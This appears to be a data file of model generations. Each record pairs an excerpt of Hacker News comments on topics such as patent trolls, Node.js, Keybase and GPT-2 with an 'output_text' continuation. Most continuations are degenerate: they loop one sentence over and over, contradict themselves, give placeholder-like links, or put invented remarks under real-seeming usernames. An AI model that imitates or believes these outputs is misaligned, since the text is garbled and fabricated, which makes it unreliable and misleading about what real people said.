serious about cognitive science, but not serious enough\nthat you'll sleep, and that is it. You can always go back for more...\n\n------\nsamratjp\nAs a friend of mine says - marketing and good UX is like laying grass out for\nthe goats. It must be easily"} +{"output_text": "elted\nI'm not sure I understand the point of this article.\n\nIt's not like Microsoft is going to stop supporting Windows. They're going to\ncontinue to support Windows.\n\nIt's not like Microsoft is going to stop supporting DirectX. They're going to\ncontinue to support DirectX.\n\nIt's not like Microsoft is going to stop supporting OpenGL. They're going to\ncontinue to support OpenGL.\n\nIt's not like Microsoft is going", "input_text": " that don't make any\nsense.\n\n------\npksdjfikkkkdsff\nI can't really follow the article. Too much paranoia, or negativity, I guess.\n\nAll I care about is having a usable Linux shell and Linux tool on my Windows\nmachine. What else can you expect from Microsoft? Yeah, they are doing it so\nthat people don't switch over to Linux completely. What more can you expect?\n\nIs it even Microsoft's job to establish a standard for 3d Graphics and what\nnot? Or is the ball in the park of graphics card vendors and game developers?\n\nWhy do I have Windows on my machine? I don't fully trust Linux to achieve the\nsame level of power management. I can play games. I have a dual graphics card,\nwhich would be a hassle to use on Linux.\n\nIt would be notebook vendor's job to release Linux notebooks with good power\nmanagement. Chip vendors to release specs that enable Linux developers to\ncreate such drivers. And so on.\n\n~~~\ngowld\nWhy wouldn't an Operating System developer be responsible for providing an\ninterface between hardware developers and applicaton developers?\n\n~~~\npksdjfikkkkdsff\nOpenGL seems to have coexisted with DirectX for a while. I don't know enough\nabout OS development to be able to judge if Microsoft prevented OpenGL from\nachieving the same performance as DirectX.\n\nGiven the abysmal security history of Windows, my guess would be that it was\npossible to get close to the metal as a driver developer, at least in the old\ndays.\n\nAlso MS couldn't be expected to take care of an interface that works on iOS\nand Linux. They are responsible for Windows.\n\n------\nheadm"} +{"output_text": " it is so\nexpensive, but it is a necessary evil.\n\n~~~\njrockway\nI think the problem is that the patent system is broken. It's not that it's\nexpensive, it's that it's not worth it.\n\nIf you have a patent, you can sue anybody who infringes it. If you don't have\na patent, you can't sue anybody who infringes it.\n\nIf you have a patent, you can sue anybody who", "input_text": "plus 5% of all future revenue from your products?\"\n\nCEO: \"If I spend the ten thousand on a lawyer, I can file some motions to\ndelay your lawsuit. _Then_ I can go bankrupt. You'll get nothing then. So, how\nabout one thousand bucks and 0.5% of future revenue?\"\n\nTROLLCORP: \"Two thousand and 2%.\"\n\nCEO: \"Done.\"\n\nAs with any parasitic transaction, the parasite has no rational interest in\nkilling you. Dead companies don't pay. The danger, of course, is that they\nwon't be reasonable and will accidentally push too hard, in their attempt to\nconvince you to search under more sofa cushions for loose change that they can\ntake. Or that they are, in fact, happy to kill your company because they think\nit will be an instructive demonstration for the other companies they sue. Or\nthat they will gradually consume your time and suck your blood and your\ncompany will eventually die of exhaustion in 2% increments. But, you know,\nthis is why it's good to be a _small_ company. Having nothing means having\nnothing to lose.\n\n~~~\n5hoom\nThe \"can't squeeze blood from a stone\" defence is probably your best bet if\nyou're a really small operation, but as you say you'd just better hope the\npatent troll is behaving in a rational manner & not trying to make an example\nof you. I would assume that a rational troll would only harass you if you were\ngetting noticed & making a profit, but who knows what kind of reasoning goes\non within the lizard hind-brain of your standard patent troll types...\n\n------\nfelipemnoa\nIf it were easy, everybody would be doing it. It does suck that"} +{"output_text": "'t we expect that the\n\"garage\" will be a \"garage\" and not a \"garage\" of a \"garage\"?\n\n------\njoshstrange\nI'm not sure I understand the point of this article. I'm not sure I understand\nthe point of the article. I'm not sure I understand the point of the article.\nI'm not sure I understand the point of the article. I'm not sure I understand\nthe point of the", "input_text": " get several kinds of tax breaks. Also, many founders get\nstarted while on unemployment benefits.\n\n~~~\ncracker_jacks\nWhat are you thinking the salary of early stage startups are in the Bay Area?\nI really doubt the ratio is 2:1 compared to Paris.\n\n~~~\nhocuspocus\nGross salary would be more like 3:1. Real cost to the employer at least 2:1.\n\nI just opened AngelList to search for junior developer positions at seed-stage\nstartups and it confirms the ratio.\n\nSF: 80-120k\n\nParis: 30-45k\n\n------\nhn_news\nIf start up becomes successful, Will Facebook own part of the equity in this\nstart up?\n\nAs a founder, why would i want to give up equity to Facebook? Why would i need\nto be in this \"garage\"?\n\n------\nd_theorist\n\"Thirty students will meet with Facebook every week to make the world a better\nplace (or that\u2019s how I think about it).\"\n\nFantastic neutral reporting here from TechCrunch. Not at all just a recycled\npress release.\n\n~~~\nJordrok\n_\" But most importantly we're making the world a better place. Through\nconstructing elegant hierarchies for maximum code reuse and\nextensibility.\"_[1]\n\nWhich one is the parody? Sometimes it's hard to tell.\n\n[1]\n[http://www.imdb.com/title/tt3222784/quotes?item=qt2896998](http://www.imdb.com/title/tt3222784/quotes?item=qt2896998)\n\n------\ntrhway\ngiven the history of creativity in Paris shouldn"} +{"output_text": " in, he's unable to do it.\n\n------\njamesbritt\n\"The problem is that the people who are good at programming are not necessarily\ngood at maths.\"\n\nI think this is a problem with the way math is taught.\n\nI was a math major in college, and I found that I was good at math, but I\ndidn't like math. I found it boring, and I didn't like the way it was taught.\n\n", "input_text": " And as far as life is concerned, in the world\nas it is today, winging it is certainly a more valuable skill than quantum\nmechanics.\n\n~~~\nregomodo\nSmall case-study I know but I work with somebody who just came out of\nCambridge and did a CS-like degree.\n\nHe cannot program for shit and talks like he does but show him a bit of C(++),\nPHP, javascript (even bash or Python) and his eyes just glaze over. I was\nteamed with him but he was forever unable to get anything done. In the end I\nwas left with it all and made much better progress and he was left to book to\noverheads.\n\nI'm certain he's an edge case though, I've met a few others who went to\nOxbridge and they are definitely on the ball. However, I've found those who\nwent to Bristol, Imperial or Loughborough are people that are the smartest.\n\n~~~\nswombat\nThat's not a case study, just an anecdote. In my experience, there were almost\nno people in Oxford that I wouldn't consider \"very smart\". Probably the only\nplace in the world where that's been true.\n\nThat said, I don't know how Cambridge's \"CS-like\" degree is/was, but Oxford's\nwas very bad at actually teaching programming.\n\nThen again, are you really sure he went to Cambridge? Smart people have no\nproblem with learning to program when they need to. That guy doesn't sound so\nsmart...\n\n~~~\nregomodo\nYeah, anecdote is the correct term. He definitely went to Cambridge which is\nwhy we questioned his choice of employer (the hirers decision). It doesn't\nmatter what language he's given a task"} +{"output_text": " online.\n\n[http://www.bartleby.com/141/1/1.html](http://www.bartleby.com/141/1/1.html)\n\n------\njamesjguthrie\nI'm not sure I agree with the author's conclusion. I think the best way to\nwrite is to write. I've been writing for a long time and I've never been\nbothered by the fact that I'm not original", "input_text": " asks 100 students for a paper on an\nassigned topic, they're not looking for originality. They just want to see if\nyou can write or not. I always had felt that I should write something original\nand was worried constantly that I was re-hashing an idea the teacher had\nalready seen dozens of times. But then I asked several teachers about it and\nthey said they weren't looking for originality. After all you can't expect\nthousands of students of the same age in the same class at the same school\nwith the same teacher to think very differently from one another.\n\n~~~\nnocipher\nOf course they aren't looking for originality. It can't be expected. When you\ngive students a really difficult test, you don't expect everyone to make an\n\"A\". You expect some to fail (\"D\") and many to be just average (\"C\"). Some\nselect few, however, will defy the norm and manage an \"A\".\n\nThe situation with assigned writing is the same. Some will elegantly write\nmany droll, boring statements and back them up with some personal anecdotes or\nstories they came across while doing research. Those will stand out against\nthe poorly written droll, boring statements. They'll get higher scores.\n\nThe few that break the mold and do something completely unexpected will\ndefinitely stand out. If they can back up their originality with half decent\nability, they'll stand out even more than the \"standard excellence\". Those\npeople will definitely get an A.\n\nThe conclusion is sound. If you beat the expectations people have of you, good\nthings will likely happen.\n\n------\npizza\nJust read Strunk and White's _Elements of Style_.\n\n~~~\nhkmurakami\nJust discovered that this is available free"} +{"output_text": " he says, I think he's missing the point.\n\nNode.js is not a replacement for Python. It's a replacement for PHP.\n\n~~~\njoshu\nI think he's saying that Node.js is a replacement for PHP.\n\n~~~\nbtomar\nI think he's saying that Node.js is a replacement for Python.\n\n~~~\njoshu\nI think he's saying that Node.js is a replacement for PHP.\n", "input_text": " your\napplication is I/O heavy (e.g. tons of sql queries which can be executed in\nparallel), nodejs event system is helpful and everything you need is pretty\nmuch out of the box. Other thing... it largely depends on personal taste and a\nmatter of convention.\n\nReading his \"Why I\u2019m switching from Python to Node.js\", doesn't seem like he\nwas having an issue with that. And I don't really buy into the \"same language\neverywhere\" argument because come on, how hard is it to learn python, ruby,\netc enough so that you can be productive? Not hard at all, unless you have\nhundreds of cubicles filled with drones.\n\nAnyway, it's good to see that he made some reasonable conclusions after the\nexperiment. That's a good sign :)\n\n~~~\nMichaelGG\nSame language, in theory, is great. Reuse structure definitions. Reuse\nrendering logic or even validation logic (perform checks on both, but make it\neasy to get into client-side). In general, keeping things \"in sync\".\n\nAlso can make it easier to write in SPA style but offload rendering to the\nserver when you need it (particularly first-page or reloads).\n\nWhether or not tooling is good enough to allow this (either with JS or\ncompilers) is another issue.\n\n------\nClobbersmith\nWe use NodeJS pretty extensively at Yahoo for both front end and back end\nservices and it works well. While some of the complaints are valid, it's not\nworth flipping tables over.\n\nPromises are standard in ES6 and it is \"the way\" to handle errors. At least if\nyou want to stay sane.\n\n------\nbtomar\nThough I agree with what"} +{"output_text": ".youtube.com/watch?v=Z_0_0_0_0gE>\n\n------\njrockway\nI'm not sure I understand the point of this. The article is about the\n\"Supreme Court\" and the \"Supreme Court\" is the \"Supreme Court\" and the \"Supreme\nCourt\" is the \"Supreme Court\".\n\n~~~\njrockway\nI guess I should have said \"Supreme Court\" is the \"Supreme Court\" and", "input_text": "...\n\n[http://www.radiodiaries.org/transcripts/OtherDocs/civilwar.h...](http://www.radiodiaries.org/transcripts/OtherDocs/civilwar.html)\n\n\n\n\n\n------\nxefer\nI'm reminded of this:\n\n\"Supreme Court Justice Oliver Wendell Holmes, Jr., who had served on the bench\ninto the nineteen-thirties, had in his long lifetime shaken hands with John\nQuincy Adams and also our new incumbent, John F. Kennedy.\"\n\n\"Old Country\" by Roger Angell. The New Yorker; September 11, 2006\n\n[http://www.newyorker.com/archive/2006/09/11/060911ta_talk_an...](http://www.newyorker.com/archive/2006/09/11/060911ta_talk_angell)\n\n~~~\nstrait\nHe lived long enough into the era where his speech or interview could have\nbeen filmed. I couldn't find anything on YouTube; perhaps he was too frail by\nthe 1930's to be doing such things.\n\nI like finding these old film clips featuring performances from ancient\nlegends.\n\nThomas Edison (born 1847)\n[http://www.youtube.com/watch?v=Ftii6D68Veo&feature=relat...](http://www.youtube.com/watch?v=Ftii6D68Veo&feature=related)\n\nSir Ian Hamilton (born 1853) There are a high amount of horror stories we hear about them on HN, from\n> both the students' and hiring managers' perspectives.\n\nCan you link to them? I'm trying to do due diligence on some of them, but\nhaven't been able to find much at all of substance. I'm specifically\ninterested in Maker's Academy in London.\n\n~~~\nlinkregister\nJust going from what I remembered reading, here are the ones that stood out\nthe most. Comments vary from supporters to detractors.\n\nAsk HN threads I found interesting:\n\n[https://news.ycombinator.com/item?id=8844848](https://news.ycombinator.com/item?id=8844848)\n\n[https://news.ycombinator.com/item?id=7147664](https://news.ycombinator.com/item?id=7147664)\n\n[https://news.ycombinator.com/item?id=9616691](https://news.ycombinator.com/item?id=9616691)\n\nThe one I really wanted to find, which accompanied an article about some\nstudents who felt scammed by their bootcamp, is eluding me right now. It was\nan interesting article about how the students were required to post misleading\nst"} +{"output_text": "'s possible to have a bot that\nmanipulates the market, and then another bot that is a 'market maker' that\nmakes a market for the bot that manipulates the market.\n\n------\njedberg\nI'm curious how this compares to the strategy of using a bot to buy low and\nsell high.\n\n~~~\nlvturner\nI'm not sure I understand the question.\n\n~~~\njedberg\nI'm wondering if the strategy of", "input_text": " a bot, though. For any form of trading\n(whether manually or through some form of automation), of course there's going\nbe some choice of buys & sells that return a profit.\n\nHow you choose such a profitable strategy is a huge area of discussion.\nHowever, it's a completely different subject to the article, which is just\nfocused on the mechanism of running a bot.\n\n------\nbigiain\n> # Install NPM dependencies\n\n> $ npm install\n\nSo we know for sure that there's not a malicious leftpad.js getting pulled in\nthere that looks for and exfiltrates your exchange credentials?\n\nYeah - I'm not going there... Not anywhere near there...\n\n------\noil7abibi\nAll this post is how to set up a github project. Nothing more. I\u2019d hope to\nrather see writing on portfolio management, risk management, or other\nstrategies.\n\nThat said, Zenbot actually provides a decent platform to start trading.\n\n------\nlvturner\nThanks for this - would be nice if the article included an example on how a\nstrategy was built, or how to add additional ones into the framework.\n\n------\njiggunjer\nI've heard of strategies where multiple accounts can collude to manipulate the\nsolo bots that make statistical decisions. Is this a real danger when\nprofessional companies start getting involved in crypto?\n\n~~~\na13n\nHmm, just looking at GDAX's API, you aren't able to tell who's making an\norder. You don't know if it's one account with ten orders, or ten accounts\nwith one each. So I don't see why multiple accounts would be an advantage.\n\n~~~\nlvturner\nOne thing that springs to mind is that it"} +{"output_text": " resampling is\nbroken in firefox.\n\n~~~\nDylan16807\nI'm not sure why I'm getting downvoted. I'm not saying that browsers should\ndo it. I'm saying that browsers should have a way to do it.\n\n~~~\nDylan16807\nI'm not sure why I'm getting downvoted. I'm not saying that browsers should\ndo it. I'm saying that browsers should have a way to do it.\n", "input_text": "o\n\"Browsers are often horrible at resizing files; it would not look good at\nall.\"\n\nWhat's with the weasel words? You can name names if you want. Which browsers?\nwhat do they do that makes them look horrible? The only browsers left I know\nof that use nearest neighbour resampling are ie7 and ie8.\n\n\"If you want to mess with speed, save it.\"\n\nYou're joking, right?\n\n\"If you want a way to trigger replay in your browser, file a bug report.\"\n\nyou definitely are joking. You think I'm the first person to ever want that?\n\n~~~\nDylan16807\nI'm not joking when I say right click should have a repeat option. Why does a\nsuggestion to file a bug report sound dismissive to you? It's not like I told\nyou to code it yourself.\n\nI'm not joking about changing speed; how often do you want to play a video in\nslow motion? It's not really the browser's job to do that.\n\nI used weasel words because I didn't want to go testing. In addition to me\nremembering additional issues on my phone, Opera and IE10 do bad resampling,\nand chrome does a weird thing where it shows bad resampling for a couple\nseconds before replacing it with good resampling. Specifically, when I say\n'bad' here, it's not nearest neighbor but it's not using a proper method\neither. Small details, such as lines 3-4 pixels wide, disappear entirely in\nspots when I zoom out. They're using algorithms that only sample a couple of\npoints, which breaks down terribly on sizes like 33%.\n\nEdit: I found a mozilla bug report claiming that high-quality"} +{"output_text": "\nlink and the video).\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this", "input_text": ".youtube.com/watch?v=YAqTrbuxCRI](http://www.youtube.com/watch?v=YAqTrbuxCRI)\n\nJames Cotton - Cotton Crop Blues, on Sun Records. Recorded 1954, with a guitar\nsolo harder/heavier than most records up until the late 60s (with a few\nexceptions like Dick Dale). And it features distorted power chords. Pretty\nmuch the first really heavy track out there, I figure. It's my go-to point to\nshow people the origins of heavy, distorted guitar music.\n\nI also like to show them some Bob Wills & His Texas Playboys, as he had a lot\nof electrified instruments (electric guitar, electric mandolin, pedal steel)\nand was a big influence on Chuck Berry and Elvis. Plus I love Bob Wills.\n\n[http://en.wikipedia.org/wiki/Origins_of_rock_and_roll](http://en.wikipedia.org/wiki/Origins_of_rock_and_roll)\ndoes a pretty good job of covering the important records that led up to the\nexplosion of rock music in the 60s. Not sure about how it is beyond that.\n\nPretty glad a musical topic came up here on HN, though. I'm more passionate\nabout music history than I am about computer science (though there are no\ncareer prospects there, so CS it is).\n\n~~~\nGoodIntentions\nOT, but that Cotton Crop Blues link is at 6575 views as of now. (19:25\n6Aug2013 ) Very curious to see what an HN link does to it.\n\n~~~\nZecc\nIt's at 6605, after nine hours (according to the time indicator between your"} +{"output_text": "...](http://web.archive.org/web/20120902234719/http://dayoneapp.com/support/passwords/)\n\n4\\. \n\n5\\. \n\n6\\. \n\n~~~\nkmfrk\nLooks like they have punted on encryption for over a year, which seems like a\nvery weird and careless thing to do:\n\n1\\. \n\n2\\. [http://iphone.appstorm.net/reviews/lifestyle/day-one-a-\ngorge...](http://iphone.appstorm.net/reviews/lifestyle/day-one-a-gorgeous-\nsynchronized-journalling-app/#comment-894327741)\n\n3\\.\n[http://web.archive.org/web/20120902234719/http://dayoneapp.c"} +{"output_text": " on the plants to tell them where to go. That's\nweeding.\n\n~~~\njessaustin\nI'm not sure that's a good idea. I've seen it done, and it's not a good idea.\n\n~~~\nAnimats\nIt's a good idea if you're trying to keep the weeds down.\n\n------\njessaustin\nI'm not sure that this is a good idea. I've seen it done, and it's", "input_text": " basic\noperation.\n\n~~~\nlarrydag\nOr just put chicken wire around areas you don't want weeded\n\n------\nmikepurvis\nDiscussion from 2017:\n[https://news.ycombinator.com/item?id=14715110](https://news.ycombinator.com/item?id=14715110)\n\nI maintain my position at the time: weeding is almost never just weeding.\nYou're there monitoring a lot of different aspects of your plants' health and\nprogress; you need to do that whether you're weeding or not, so you might as\nwell be weeding.\n\nThis is a solution in search of a problem, and none of these people seem like\ngardeners.\n\n------\nbjornlouser\n[https://www.youtube.com/watch?v=VwTWhMbnq9g](https://www.youtube.com/watch?v=VwTWhMbnq9g)\n\n~~~\nThePadawan\nThe video calls \"the typical garden size in the US\" 100 sq ft (or 9 m^2). I\nfind it hard to wrap my head around that number. If I had 9m^2 of green, I\nwould never call that a garden.\n\nSurely this is the average, but not the mean? As lots of apartments won't have\ngardens at all.\n\n~~~\nTFortunato\nI think maybe they are using the word \"garden\" in the US sense of \"part of\nyour land sectioned off to grow vegetables, fruits, etc.\", not \"the green\nspace in your land surrounding the home\" which we'd refer to as the lawn.\n\n------\nAnimats\nOh, you have to put markers"} +{"output_text": "anderson92\nI'm not sure I understand the point of this.\n\nIf you have a team, you can have as many repositories as you want.\n\nIf you have a personal repository, you can have as many repositories as you\nwant.\n\nIf you have a personal repository and a team repository, you can have as many\nrepositories as you want.\n\nIf you have a personal repository and a team repository and a personal\nrepository, you can have as", "input_text": "> What if my computer is compromised?\n\n> Your work is only as safe as your endpoints, so we can't help you there.\n\nThis applies regardless of host or protocol, BTW, and it isn't even specific\nto computing. (It doesn't matter how many locks you have on your front door if\nyou leave the back door propped open.)\n\n~~~\nj7ake\nHi pass uses gpg encryption on the text files my only concern are the file\nnames which can leak meta info, for example just searching GitHub\n[https://github.com/zurchpet/pass](https://github.com/zurchpet/pass) shows\nthis person has passwords in a public repository but encrypted. Nevertheless I\ncan see that the file names are credit card info and other sensitive info.\nIt's like having a safe with a label \"important stuff inside\"! Does keybase\nsolve this problem?\n\n~~~\ntanderson92\nYes, the contents of the git repository holding your pass files are encrypted,\nmeaning that the file names are not visible to anyone without the private key\n(you).\n\nYou may also want to look at [https://github.com/roddhjav/pass-\ntomb](https://github.com/roddhjav/pass-tomb)\n\n~~~\nj7ake\nThanks for that I'll consider it.\n\n------\nValentineC\nFrom the article:\n\n>> _What are the limits?_\n\n> _You can have as many repositories as you want, but the total for your\n> personal repositories can 't exceed 100GB. Each team also gets 100GB._\n\nIs there anything stopping people from creating team after team just to hoard\ndata in Keybase?\n\n------\nt"} +{"output_text": ",\nGeeky, and Nerds.\n\nGeeks are the ones who are into computers and technology. Dweebs are the ones\nwho are into video games. Geeky are the ones who are into science and\ntechnology. Nerds are the ones who are into computers and technology.\n\nI think the author is trying to say that nerds are the ones who are into\ncomputers and technology.\n\n~~~\npasabagi\n", "input_text": ", is not because of discrimination\nor sexism, but because females aren't in an environment that cultivates the\nnecessary skills. This is not necessarily something that requires intervention\nfrom educators, or politicians. It's something that teenagers need to value,\nand to appreciate.\n\nWhen i was a young lad, anti-intellectualism was a religion, and was heavily\npracticed in the social fabric i was required to navigate. I'm unsure if that\ntrend has been corrected, but i am sure that we're seeing the side effect of\nthat in the professional landscape with the amount of qualified females with\nan interest in the STEM fields.\n\n \nThe Nerd as the Norm - paulpauper\nhttps://everythingstudies.com/2017/11/07/the-nerd-as-the-norm/\n======\nMysterix\nFrom the first link, this part is so relatable :\n\n\"They'll stop going to the company picnic if it becomes an occasion for\neveryone to list all the computer problems they never bothered to mention\nbefore.\"\n\n------\npasabagi\nI don't really think his concept of a nerd works, since he lumps in lots of\nextraneous charateristics and values.\n\nI think a more explanatory description would be, a nerd is somebody who is\nprimarily interested in technical questions. That predisposes nerds to avoid\nambiguity - but by no means excludes nerds like literature professors, who are\nabsolutely obsessed with ambiguity.\n\nIt's generally a better idea to categorise people by priorities, as opposed to\npreferences - since preferences tend to be very variable.\n\n~~~\nnickthemagicman\nI think there's several sub-categories in the nerd culture. Geeks, Dweebs"} +{"output_text": "\n\\- junior.. senior frontend developer. Experience with EmberJS, React,\nTypescript is preferred, experience with ethereum would be nice\n\n\\- junior.. senior full stack developer. Experience with Python, Django, DRF,\nEmberJS, React, Typescript is preferred, experience with ethereum would be\nnice\n\nIf you're interested, please send your CV and a short introduction to\njobs@guts.ticket.\n\n------\nj", "input_text": " other languages (Java, Node, etc).\n\nWe provide risk analysis based on email addresses and other information for\nmajor financial institutions, airlines and other industries.\n\nMore information:\n[https://blog.emailage.com/jobs/](https://blog.emailage.com/jobs/)\n\n------\nvldr\nGUTS Tickets | Junior.. Senior Full stack developer | Amsterdam, The\nNetherlands | (partial) Onsite \u20ac35k-\u20ac70k p.a. depending on experience, part-\ntime/full-time\n\nAre you a developer who loves live music? And do you want to join the ticket\nrevolution? At GUTS we\u2019re not only building a product, but as a team we\nchasing a common goal: Stop disgraceful secondary ticket prices and ticket\nfraud. We don\u2019t work to punch out a time card, we work hard to give fans what\nthey deserve. GUTS is a ticketing system which uses blockchain technology to\nregister ownership of SMART-tickets. GUTS makes ticket fraud impossible. The\nticket can only be (re)sold at a fixed price, so no more disgraceful prices\nfor secondary tickets.\n\nGUTS Tickets is hiring frontend and backend junior / senior developers! We\nhave about 2 to 3 positions to fill depending on experience and flexibility of\nthe developers.\n\nOur current stack consists of\n\n\\- Python 3.5 / Django / Django Request Framework - Ethereum / solidity /\nblockchain technology\n\n\\- EmberJS (2.10)\n\n\\- react native\n\nTo expand our team we're hiring for different roles:\n\n\\- junior.. senior backend developer. Experience with Python, Django, DRF is\npreferred, experience with ethereum would be nice\n"} +{"output_text": " _The GPT-2 model is a general intelligence algorithm that can write\n> sentences, but it is not a general intelligence algorithm that can write\n> blog posts._\n\nI don't think this is true. I think the GPT-2 model is a general intelligence\nalgorithm that can write blog posts.\n\n~~~\nandreyk\nI think you're right, but I think the point is that it's not a general\nintelligence algorithm that can write blog posts.", "input_text": "https://srconstantin.wordpress.com/2019/02/25/humans-who-are-not-\nconcentrating-are-not-general-intelligences/)\n\n~~~\nandreyk\nFor some context, as noted at top of article we re-posted it with permission\nsince the release of the larger GPT2 model led to a new slate of fearful\narticles on the topic and this has remained one of the best takes on it. Was\nnot aware it was already upvoted a bunch on HN before though, cool to see.\n\n~~~\nlostmsu\nThe guideline on HN is to use original link whenever possible.\n\nThe link should be changed.\n\n~~~\nandreyk\nah, whoops, was not aware. Seems I can't change the link, maybe mods can or\ncan just delete.\n\n------\nJackFr\nMakes me think of \"Hook\" by Blues Traveler:\n\n \n \n It doesn't matter what I say\n So long as I sing with inflection\n That makes you feel I'll convey\n Some inner truth or vast reflection\n But I've said nothing so far\n And I can keep it up for as long as it takes\n And it don't matter who you are\n If I'm doing my job then it's your resolve that breaks\n\n------\nxtiansimon\nNow if GPT-2 could write yet another beginner Python lists and tuples blog\npost, I prolly wouldn\u2019t notice. If it could write a description which helped\nme to get my head around my client\u2019s Swagger API I would be thrilled. No one\nreally has the time nor patience to explain it to me in a way that clicks.\n\n------\nEchoAce\n>"} +{"output_text": " been a very different person.\n\n~~~\nkrapp\n>Einstein is the best example of this. Relativity, and its implications, are\nintuitively insane and absurd. Yet his logic led him there and he invested an\nimmense amount of effort and energy trying to prove it. And it turned out he\nwas correct. In a parallel universe where the laws of physics are more sane,\nEinstein would have been a very different person.\n\nI think this is a", "input_text": " schizotypal.\n\nThere IS actually a proven connection between schizotypal traits and\ncreativity where there really isn't with mood disorders (except bipolar to an\nextent), since you're \"mad\" but not so much so that you can't function well\nenough to execute your ideas. It's worth googling about.\n\n------\njpeg_hero\nArticle and \u201cmeta-research\u201d distinctly not related to genius.\n\nGenius is a distinctly one-in-a-million phenomenon, this is about people of\nabove average creativity and how they relate to those of below average\ncreativity. And very dubious categorization at that.\n\n~~~\naje403\nI don't know why you're getting downvoted, you're right (although the\ndefinition of 'genius' is always up for debate). This is just one of a million\nopinion articles on the same questions which happens to have a regression line\nbehind it.\n\n------\nTangoTrotFox\nSpeaking of the stereotype of'mad genius', as opposed to the eccentric\ncreative which this article is about, I would hypothesize that'mad' is simply\na mislabeling of the fact that those who are more intelligent are _generally_\ngoing to be less guided by social norms and more by their own logic and views.\nBeing able to follow your own logic, without bounds, is something that is most\npeople, for some reason, do not tend to do.\n\nEinstein is the best example of this. Relativity, and its implications, are\nintuitively insane and absurd. Yet his logic led him there and he invested an\nimmense amount of effort and energy trying to prove it. And it turned out he\nwas correct. In a parallel universe where the laws of physics are more sane,\nEinstein would have"} +{"output_text": ") and\nprovide a standard interface for the back-end to communicate with the front-\nends.\n\n------\njoshu\nI wonder if this is a good time to start a company that does this.\n\n~~~\njoshu\nI'm not sure if this is the right place to ask, but I'm curious if anyone has\nexperience with this.\n\nI'm thinking of a company that would be a middleman between a retailer and a\nconsumer.", "input_text": "\n\n\"Our model doesn't work.. we're heads down trying to see if anyone will buy us\nor if we can come up with a completely new idea. If someone will fund us\nduring this time; That'll be really cool.\"\n\n------\npsadri\n'Buy' buttons can make a big difference, specially on mobile. Most retailer's\nmobile web experience is horrible, specially their checkout flows.\n\nAn inline 'Buy' button can increase conversion rates anywhere from 2-5x which\nis huge and a win-win for everyone involved:\n\nUser: better experience Publisher: higher revenue (CPA) Retailer: more sales\n\n------\njohansch\nI don't have kids, but I could imagine families that do have kids to expect a\nwhole lot of unexepected shipments of stuff if this pattern gets widely\nimplemented.\n\n~~~\nnhebb\nCan confirm. It's happened to us with Amazon one click. My wife stepped away\nfrom the computer and within a few minutes my then 3 year-old had ordered a\ngame. The situation will be comical when kids can order directly via Google\nsearches.\n\n------\ndigisth\n\"Among the challenges these Goliaths face is integrating inventory and\npayments systems from retailers big and small that have little experience\nselling stuff outside of their own storefronts.\"\n\nSeems like there could be an opportunity for a service to act as a broker;\nthey could act as a go-between for inventory related tasks and services\nbetween the front-ends (Pinterest, FB) and the backends (retailer APIs.)\nProvide a standard API on both ends (so retailers can update prices, number in\nstock, tax and such, and front-ends can push buys and get updates"} +{"output_text": " to be more tolerant of free speech, I think the UK is\nmore tolerant of free speech.\n\n~~~\njamesbritt\nI think the US is more tolerant of free speech, but I think the UK is more\ntolerant of free speech when it is not being used to promote a political\nposition.\n\n~~~\nwisty\nI think the US is more tolerant of free speech, but I think the UK is more\ntolerant of free speech when", "input_text": "\nwhat keeps the outrage mob mollified, I've closed my account and have been\nhelping website operating on the dissident right to transition away from a\nsystem that might deny them service on a fit of whimsy. Paypal, like so many\nother platforms, has become too unreliable to be a single point of failure.\n\nAll of these institutions were, until the last few years, treated like\nutilities - which bolstered their reputation for reliability. But now, so many\nof these giant Near-Monopolies have decided to become overtly political,\ndenying their services without any manner of due process or even a reasonable\namount of notice to the people being cast off. This damages the brand\nreliability, and where once customers could rely on their Registrar, Host, or\nPayment Processor, they now must consider it imperative to have redundant\nsystems - lest they risk having their service cut because they suddenly find\nthemselves on the bad side of \"the fashionable opinion\" of the hour. (Goal-\nposts that move by the hour, and today's cleric of the faith can easily find\nthemselves tomorrow heretic).\n\nA high-trust business environment is required to maintain the sorts of\nbusiness relationships a content creator enters into with a\nplatform/host/registrar. The fact is, as it stands now, no content creator,\nbusiness or group can trust these tech-corporations to maintain a stable\nrelationship - or even adhere to a basic contract - in good faith. Once a\ncompany - like PayPal for instance - has proven itself unreliable, it has\nalready done half the work of replacing itself.\n\n------\nStuntPope\nArticle flagged. Nice. Love the tolerance and receptiveness to discussion\nhere.\n\n------\nwisty\nWhile Americans seem"} +{"output_text": " reflection, I think I was just trying to be\nclever.\n\n------\njrockway\nI think the problem is that the people who are in charge of the system are\nnot the people who are supposed to be in charge of the system.\n\n~~~\njfb\nI think the problem is that the people who are in charge of the system are\nnot the people who are supposed to be in charge of the system.\n\n~~~\njrockway\nI", "input_text": " terror, particularly of the US ICE people, who are\nunnecessarily militarized at the best of times. But why the puerile jab at the\nofficer's \"educational attainment\"? Needed to feel big? Story wasn't \"punchy\"\nenough?\n\n~~~\nseldo\nPartly because I think it's a relevant detail -- I think he genuinely didn't\nunderstand that a web developer is a type of software developer. But partly\nbecause they scared the shit out of me, and the system is stupid and\nunnecessarily hostile, so, yes, I'm angry at them.\n\n~~~\njfb\nIt's not only insulting and juvenile, it's irrelevant. I've met PhDs from the\nLSE who wouldn't know the difference between email and snail mail, but that's\nnot material to a) how good they were at their jobs or b) whether or not they\nwere good people.\n\nThe system _is_ stupid, and hostile, and (in my opinion) totally self-\ndefeating. And people -- normal, decent people -- will act like petty little\ntyrants in that sort of system. Isn't _that_ sufficient to call them out? An\nasshole is an asshole, regardless of their eduction, no?\n\n _EDIT_ : Too, it may very well be material that you gave a different answer.\nThere's only one word different between \"landscape architect\" and \"naval\narchitect\", and those are significantly and materially different positions.\nHow is J. Random Tyrant supposed to know that a is a member of the set b for\nall given a?\n\n _EDIT the second_ : Man, I was in love with the word \"material\", eh?\n\n~~~\nseldo\nYou're not wrong. On further"} +{"output_text": " around for a while, but it's only recently\nbecome popular. What's changed?\n======\ndang\nIt's been popular for a while, but it's only recently become popular.\n\n~~~\nsenorgusto\nThanks for the clarification.\n\n------\ndang\nI'm not sure what you mean by \"popular\". Quora is a site that has been around\nfor a while. It's not a new site.\n\n~~~\nsenorg", "input_text": "'s not unusual to be\nable to serve 100K requests/ _sec_ if a request never needs to touch disk (see\neg. the JSON serialization test on the TechEmpower benchmarks, on physical\nhardware [2] - top frameworks can get 500K request/sec on a hello-world\nserialization task). They're also stupidly 